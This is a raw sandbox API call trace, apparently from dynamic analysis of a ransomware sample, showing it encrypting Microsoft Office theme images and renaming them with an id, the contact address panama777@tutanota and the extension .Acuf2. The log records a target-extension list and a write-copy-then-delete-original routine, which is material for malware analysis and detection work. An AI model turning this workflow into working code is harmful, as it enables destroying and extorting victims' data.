	[0048.015] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.015] SetEndOfFile (hFile=0x160) returned 1
	[0048.016] CloseHandle (hObject=0x160) returned 1
	[0048.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.016] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1
	[0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.016] lstrlenW (lpString=".doc") returned 4
	[0048.016] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.016] lstrlenW (lpString=".docx") returned 5
	[0048.016] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.016] lstrlenW (lpString=".pdf") returned 4
	[0048.016] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.016] lstrlenW (lpString=".xls") returned 4
	[0048.016] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.017] lstrlenW (lpString=".xlsx") returned 5
	[0048.017] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.017] lstrlenW (lpString=".ppt") returned 4
	[0048.017] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.017] lstrlenW (lpString=".zip") returned 4
	[0048.017] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.017] lstrlenW (lpString=".rar") returned 4
	[0048.017] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.017] lstrlenW (lpString=".bz2") returned 4
	[0048.017] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.017] lstrlenW (lpString=".7z") returned 3
	[0048.017] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.017] lstrlenW (lpString=".dbf") returned 4
	[0048.017] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.017] lstrlenW (lpString=".1cd") returned 4
	[0048.017] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.017] lstrlenW (lpString=".jpg") returned 4
	[0048.017] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.017] lstrlenW (lpString=".doc") returned 4
	[0048.017] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.018] lstrlenW (lpString=".docx") returned 5
	[0048.018] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.018] lstrlenW (lpString=".pdf") returned 4
	[0048.018] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.018] lstrlenW (lpString=".xls") returned 4
	[0048.018] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.018] lstrlenW (lpString=".xlsx") returned 5
	[0048.018] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.018] lstrlenW (lpString=".ppt") returned 4
	[0048.018] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.018] lstrlenW (lpString=".zip") returned 4
	[0048.018] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.018] lstrlenW (lpString=".rar") returned 4
	[0048.018] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.018] lstrlenW (lpString=".bz2") returned 4
	[0048.018] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.018] lstrlenW (lpString=".7z") returned 3
	[0048.018] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.019] lstrlenW (lpString=".dbf") returned 4
	[0048.019] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.019] lstrlenW (lpString=".1cd") returned 4
	[0048.019] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0048.019] lstrlenW (lpString=".jpg") returned 4
	[0048.019] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.019] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0048.019] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0048.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0048.020] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=25234) returned 1
	[0048.020] CloseHandle (hObject=0x160) returned 1
	[0048.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20
	[0048.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0048.020] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.020] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0048.021] GetLastError () returned 0x0
	[0048.021] ReadFile (in: hFile=0x160, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x6292, lpOverlapped=0x0) returned 1
	[0048.023] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x62a0, lpOverlapped=0x0) returned 1
	[0048.024] ReadFile (in: hFile=0x160, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.024] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0048.024] SetEndOfFile (hFile=0x1e8) returned 1
	[0048.024] CloseHandle (hObject=0x1e8) returned 1
	[0048.024] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.024] SetEndOfFile (hFile=0x160) returned 1
	[0048.025] CloseHandle (hObject=0x160) returned 1
	[0048.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.026] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1
	[0048.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.026] lstrlenW (lpString=".doc") returned 4
	[0048.026] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.026] lstrlenW (lpString=".docx") returned 5
	[0048.026] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.026] lstrlenW (lpString=".pdf") returned 4
	[0048.026] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.026] lstrlenW (lpString=".xls") returned 4
	[0048.026] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.026] lstrlenW (lpString=".xlsx") returned 5
	[0048.026] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.026] lstrlenW (lpString=".ppt") returned 4
	[0048.026] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.026] lstrlenW (lpString=".zip") returned 4
	[0048.026] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.026] lstrlenW (lpString=".rar") returned 4
	[0048.026] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.027] lstrlenW (lpString=".bz2") returned 4
	[0048.027] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.027] lstrlenW (lpString=".7z") returned 3
	[0048.027] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.027] lstrlenW (lpString=".dbf") returned 4
	[0048.027] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.027] lstrlenW (lpString=".1cd") returned 4
	[0048.027] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.027] lstrlenW (lpString=".jpg") returned 4
	[0048.027] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.027] lstrlenW (lpString=".doc") returned 4
	[0048.027] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.027] lstrlenW (lpString=".docx") returned 5
	[0048.027] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.027] lstrlenW (lpString=".pdf") returned 4
	[0048.027] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.027] lstrlenW (lpString=".xls") returned 4
	[0048.027] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.027] lstrlenW (lpString=".xlsx") returned 5
	[0048.027] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.027] lstrlenW (lpString=".ppt") returned 4
	[0048.027] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.028] lstrlenW (lpString=".zip") returned 4
	[0048.028] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.028] lstrlenW (lpString=".rar") returned 4
	[0048.028] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.028] lstrlenW (lpString=".bz2") returned 4
	[0048.028] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.028] lstrlenW (lpString=".7z") returned 3
	[0048.028] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.028] lstrlenW (lpString=".dbf") returned 4
	[0048.028] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.028] lstrlenW (lpString=".1cd") returned 4
	[0048.028] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0048.028] lstrlenW (lpString=".jpg") returned 4
	[0048.028] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.028] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0048.028] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0048.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0048.735] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2985) returned 1
	[0048.735] CloseHandle (hObject=0x1fc) returned 1
	[0048.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20
	[0048.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0048.735] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.736] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0049.843] GetLastError () returned 0x0
	[0049.843] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0xba9, lpOverlapped=0x0) returned 1
	[0049.901] WriteFile (in: hFile=0x178, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xbb0, lpOverlapped=0x0) returned 1
	[0049.902] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0049.902] WriteFile (in: hFile=0x178, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0049.902] SetEndOfFile (hFile=0x178) returned 1
	[0049.902] CloseHandle (hObject=0x178) returned 1
	[0049.903] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.903] SetEndOfFile (hFile=0x1fc) returned 1
	[0049.903] CloseHandle (hObject=0x1fc) returned 1
	[0049.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0049.904] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1
	[0049.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.904] lstrlenW (lpString=".doc") returned 4
	[0049.904] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0049.904] lstrlenW (lpString=".docx") returned 5
	[0049.904] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0049.904] lstrlenW (lpString=".pdf") returned 4
	[0049.904] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0049.904] lstrlenW (lpString=".xls") returned 4
	[0049.904] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0049.904] lstrlenW (lpString=".xlsx") returned 5
	[0049.904] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0049.904] lstrlenW (lpString=".ppt") returned 4
	[0049.904] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0049.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.904] lstrlenW (lpString=".zip") returned 4
	[0049.904] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0049.905] lstrlenW (lpString=".rar") returned 4
	[0049.905] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0049.905] lstrlenW (lpString=".bz2") returned 4
	[0049.905] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0049.905] lstrlenW (lpString=".7z") returned 3
	[0049.905] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.905] lstrlenW (lpString=".dbf") returned 4
	[0049.905] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.905] lstrlenW (lpString=".1cd") returned 4
	[0049.905] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.905] lstrlenW (lpString=".jpg") returned 4
	[0049.905] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.905] lstrlenW (lpString=".doc") returned 4
	[0049.905] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0049.905] lstrlenW (lpString=".docx") returned 5
	[0049.905] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0049.905] lstrlenW (lpString=".pdf") returned 4
	[0049.905] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0049.905] lstrlenW (lpString=".xls") returned 4
	[0049.905] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0049.905] lstrlenW (lpString=".xlsx") returned 5
	[0049.905] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0049.905] lstrlenW (lpString=".ppt") returned 4
	[0049.905] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.905] lstrlenW (lpString=".zip") returned 4
	[0049.906] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0049.906] lstrlenW (lpString=".rar") returned 4
	[0049.906] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0049.906] lstrlenW (lpString=".bz2") returned 4
	[0049.906] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0049.906] lstrlenW (lpString=".7z") returned 3
	[0049.906] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.906] lstrlenW (lpString=".dbf") returned 4
	[0049.906] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.906] lstrlenW (lpString=".1cd") returned 4
	[0049.906] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0049.906] lstrlenW (lpString=".jpg") returned 4
	[0049.906] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0049.906] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0049.906] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0049.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0049.907] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2722) returned 1
	[0049.907] CloseHandle (hObject=0x1fc) returned 1
	[0049.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20
	[0049.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0049.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0050.439] GetLastError () returned 0x0
	[0050.439] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0xaa2, lpOverlapped=0x0) returned 1
	[0050.441] WriteFile (in: hFile=0x1e0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xab0, lpOverlapped=0x0) returned 1
